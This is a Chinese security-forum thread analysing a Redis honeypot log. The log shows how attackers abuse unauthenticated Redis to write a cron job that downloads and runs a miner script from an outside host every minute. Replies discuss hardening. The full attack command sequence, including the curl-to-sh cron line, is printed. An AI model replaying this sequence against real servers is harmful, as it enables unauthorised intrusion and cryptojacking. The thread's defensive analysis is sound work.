吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5187|回复: 42
收起左侧

[PC样本分析] Linux下通过redis漏洞植入病毒的流程

  [复制链接]
nsnake 发表于 2021-3-16 16:24
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 nsnake 于 2021-3-17 15:59 编辑

经常看到有人在linux下被植入挖矿病毒,而植入病毒的方式多种多样,但通过redis漏洞的方式却是经常见到的,根本原因是系统管理者的安全意识匮乏。

正好最近比较好奇,于是安装了一个redis蜜罐的捕获来展示如何通过漏洞来植入病毒。

话不多说,先上日志,咱们在来一步步分析。

{ "src_ip": "8.136.106.190", "command": "config set stop-writes-on-bgsave-error no", "dst_port":6379}
{ "src_ip": "8.136.106.190", "command": "flushall", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dbfilename web", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "set 1 \n\n*/1 * * * * cdt -fsSL http://helpdeskserver.epelcdn.com/dd210131/init.sh |sh\n\n", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dir /var/spool/cron", "dst_port": 6379}
{"src_ip": "8.136.106.190", "command": "save", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dir /var/spool/cron/crontabs", "dst_port": 6379}
{"src_ip": "8.136.106.190", "command": "save", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dir /etc/cron.d", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "save", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set stop-writes-on-bgsave-error yes", "dst_port": 6379}

原始日志比这个更多,但这里的片段足够展示整个攻击流程。因为有些人可能对redis命令不熟悉,以下我将逐步的讲解以下流程

当以上操作都完成的时候,redis在触发备份机制后就会开始往上面设置好的目录写入计划任务的脚本
而计划任务会在每分钟都去执行一次这个脚本并且触发下载病毒的机制。然后你的机器CPU就会开始飙涨了。

如果大家有兴趣可以下载看下init.sh这个脚本,里面有剩余安装病毒的全过程,并且还有狗咬狗的去删除自己的竞争对手的机制。

总结:
其实这个漏洞很封堵很简单,只要执行redis的用户没有权限往/var/spool下的目录能写入就能防止入侵。但由于很多人安装redis的时候都是从网上找了文章,启动的时候往往就是root用户直接执行,这样redis也就具有了root用户的权限。



更新:
看了下面大家的评论,很多意见都是很中肯,比如加密码,不开放端口等等,说白了就是运维的人员需要具备安全意识。
比如开放端口,通常情况我们不会开放公网端口,但不可能一直都是单机模式,内网端口总得开放的吧,如果其它机器中了病毒,一样会在内网扫描的。
redis加用户名和密码也是一种方式,但太弱的一样会被扫。
安全没有绝对,攻防也一直都是此消彼长。

免费评分

参与人数 7吾爱币 +11 热心值 +6 收起 理由
Otttttttttto + 1 我很赞同!
cc620063 + 1 + 1 121
Hmily + 5 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
FJFJ + 1 + 1 我很赞同!
fxone + 1 + 1 谢谢@Thanks!
plasd + 1 + 1 用心讨论,共获提升!
yan182 + 1 + 1 鼓励转贴优秀软件安全工具和文档!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

yuechenxing 发表于 2021-3-16 16:58
确实很多人都是root运行的, 其实增加一个nologin用户 useradd -M -s /bin/nologin redis-server , 编写service文件,限定执行User=redis-server,能很大提高安全性。正常来说,服务器的root用户应该禁止远程登陆或者直接禁止登陆,另外新建一个用户,给sudo权限。或者root不禁用,但是通过pam控制重试次数,用来触发攻击报警。甚至做个假的3306,6379监听,放个烟雾弹,顺便记录登陆的用户ip。
jobinLi 发表于 2021-3-16 16:41
赞!其实如果非必要就不要开放端口就能避免99%的攻击
finky 发表于 2021-3-16 16:53
jobinLi 发表于 2021-3-16 16:41
赞!其实如果非必要就不要开放端口就能避免99%的攻击

正解,防火墙这些才是关键所在
154675361 发表于 2021-3-16 17:45
公网redis未授权、弱口令一抓一大把
冷月暗雾飞扬 发表于 2021-3-16 18:21
来崤习了!!
学习破 发表于 2021-3-16 19:13
来学习的,表示不是很懂
weiyinan0617 发表于 2021-3-16 19:14
进来观摩一下
兮若求 发表于 2021-3-16 20:27
本人刚入门这方面的知识,简单分析就是不要开放比较多漏洞的端口,除非要用时打开,可以劝退大部分入侵者。
bigcan 发表于 2021-3-16 20:35
只开22、80、443三个端口,其它的全部关掉
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-19 23:16

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表